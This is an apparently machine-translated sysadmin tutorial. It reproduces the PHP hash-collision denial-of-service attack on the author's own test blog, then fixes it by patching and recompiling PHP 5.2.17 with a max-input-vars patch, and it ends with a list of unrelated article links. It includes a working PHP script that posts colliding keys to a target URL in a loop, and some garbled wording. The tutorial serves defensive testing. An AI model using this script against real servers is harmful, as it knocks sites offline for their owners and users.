Before the PHP patch, the server CPU situation is currently 2.1% usage.
we write a PHP program on this web server, the purpose is to test the machine to Hash it for failure to reproduce. The programming language is as follows: <?php echo $showtime=date("Y-m-d H:i:s"); ?> The effect after execution is to take the current server time.
Looking for a test machine with a PHP environment. I use a virtual machine for this machine, which has a LAMP environment. In the /usr/local/apache/htdocs directory, write a PHP web page with the following language: [root@blog htdocs]# Vi hash.php
<?php $size = pow(2, 16) $data = ''; for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) { $data .= $key. '=&'; }
$url = 'http://www.liuxxxxx.com/checktime.php'; $rs = array(); $ch = curl_init(); curl_setopt($ch , CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); for ( $i=0; $i<100; ++$i) { curl_exec($ch); } curl_close($ch); ?>
url address, the target machine you want to test, i<100, indicating up to 100 concurrent. Manually execute hash.php for hash collisions. [root@blog htdocs]# /usr/local/php/bin/php hash.php
On the web server side, we go to see the resource utilization of the server, the CPU is 97.6%, it looks like a single virtual Machine, taking 100 concurrent to Hash, is enough to increase the CPU utilization of the web server to 100%.
Cpu is 100%, what is the website? We browsed the web server again, clicked the link on the website, and the response was normal. It is estimated that this web server itself has no pressure, so it can't be seen. Adjust the amount of concurrency to 10000, and then measure it, just 100 concurrent.
Refresh the checktime.php page, which can be displayed quickly and the website is normal. But at this time the web server cpu is already 100%
Conclusion, I use a personal blog as the target machine, because personal blogs, only a few people currently visit, no pressure, so even, through 10000 concurrent Hash, CPU up to 100%, personal blog open speed, still quite fast.
Put a patch and let's take another look. 1, first check the PHP compiler parameters in the build environment
2, go online to download a PHP patch, the download address is: https://github.com/laruence /laruence.github.com/tree/master/php-5.2-max-input-vars
3, according to the version number of the personal platform, click into it, pay attention, do not be on it Right click, save as, otherwise you are down an html file, the file name is php-5.2.17-max-input-vars.patch. In the new pop-up page point “raw”, the patch file will be opened.
Copy the contents inside, I only cut a small part of it. Then create a new file on the web server, php-5.2.17-max-input-vars.patch, which is just copied.
4, into the original installation directory of php, my environment here is /opt/soft/php-5.2.17. First clean up some of the original compiled ones.
5, patch and recompile php
config then make ZEND_EXTRA_LIBS='-liconv' //some platforms are make , each environment is different, then make install
6, restart apache, see the effect [root@lghblog php-5.2.17]# pkill httpd [root@lghblog php-5.2.17]#/usr/Local/apache/bin/apachectl start
Visit phpinfo.php on the web server to see if the PHP environment has changed. You can see at the top, the PHP version comes with a P1. This is not enough. Let's use Hash to collide and see if the cpu will be 100%.
On the test machine, take the concurrent 10000 and go to the Hash web server. The CPU of the web server was found to remain at 0.5%.
Problem solving!
Yesterday, Intel officially released its 6-core server-based Xeon server processor Xeon 5600 series,
mentioned FTP server, you may think of Serv-U, vs-FTP and other software, in fact, Microsofts built-
Internet analysis of IIS tools is quite a lot, but I did not meet the requirements of my requirement
When viewing the IIS website access log, it is found that the time recorded in the IIS log is incorr
How do I piggyback a virtual machine on a data center server?
The IIS log analysis tool (point grid IIS log analyzer) uses graphic tutorial
Set up a shared server with 2003 02
Method of setting port mapping and reverse proxy in Apache server
How to disable IIS cache static files (png, js, html, etc.)
Linux server FTP can not delete the website html static file solution
T100 G11 power-on self-test prompts how the memory capacity is reduced
Security: Dealing with four levels of attacks on Linux servers
Eight Ways to Improve the Execution Efficiency of IIS 5.0 Web Servers
Teach you to create "ultimately hidden" files on the XP desktop
Windows8 has no reason to sleep problem endings according to the scheme
How to clear arp virus in Win7 system
Secret: How is the Windows server attacked
Lenovo REACHit technology makes Win10 Xiaona Cortana more personalized
Two ways to install the Windows 10 Store app without switching to a Microsoft account
How to deal with computer crashes after upgrading Win10 system?
Easily complete the activation of Win8 system
Win10 preview version 9879 can not identify the hard drive reason and solution